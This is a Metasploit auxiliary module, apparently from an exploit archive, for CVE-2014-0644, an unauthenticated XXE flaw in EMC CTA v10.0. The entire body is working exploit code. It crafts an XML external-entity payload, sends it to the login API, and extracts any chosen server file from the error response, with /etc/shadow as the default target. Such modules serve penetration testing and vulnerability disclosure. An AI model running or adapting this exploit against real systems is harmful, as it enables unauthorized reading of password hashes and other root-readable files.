EMC CTA v10.0 is susceptible to an unauthenticated XXE attack that allows an attacker to read arbitrary files from the file system with the permissions of the root user.
c2dd082e06aac52186e44ae70fb12b7ad1fbfb73fa6e41171df28951ddedcfc6
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'EMC CTA v10.0 Unauthenticated XXE Arbitrary File Read',
'Description' => %q{
EMC CTA v10.0 is susceptible to an unauthenticated XXE attack
that allows an attacker to read arbitrary files from the file system
with the permissions of the root user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brandon Perry <bperry.volatile[at]gmail.com>', #metasploit module
],
'References' =>
[
['CVE', '2014-0644'],
['EDB', '32623']
],
'DisclosureDate' => '2014-03-31'
))
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('TARGETURI', [ true, "Base directory path", '/']),
OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]),
]
)
end
def run
doctype = Rex::Text.rand_text_alpha(6)
element = Rex::Text.rand_text_alpha(6)
entity = Rex::Text.rand_text_alpha(6)
pay = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE #{doctype} [
<!ELEMENT #{element} ANY >
<!ENTITY #{entity} SYSTEM "file://#{datastore['FILEPATH']}" >]>
<Request>
<Username>root</Username>
<Password>&#{entity};</Password>
</Request>
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'api', 'login'),
'method' => 'POST',
'data' => pay
})
if !res or !res.body
fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way")
end
file = /For input string: "(.*)"/m.match(res.body)
if !file or file.length < 2
fail_with(Failure::UnexpectedReply, "File was unretrievable. Was it a binary file?")
end
file = file[1]
path = store_loot('emc.file', 'text/plain', datastore['RHOST'], file, datastore['FILEPATH'])
print_good("File saved to: " + path)
end
end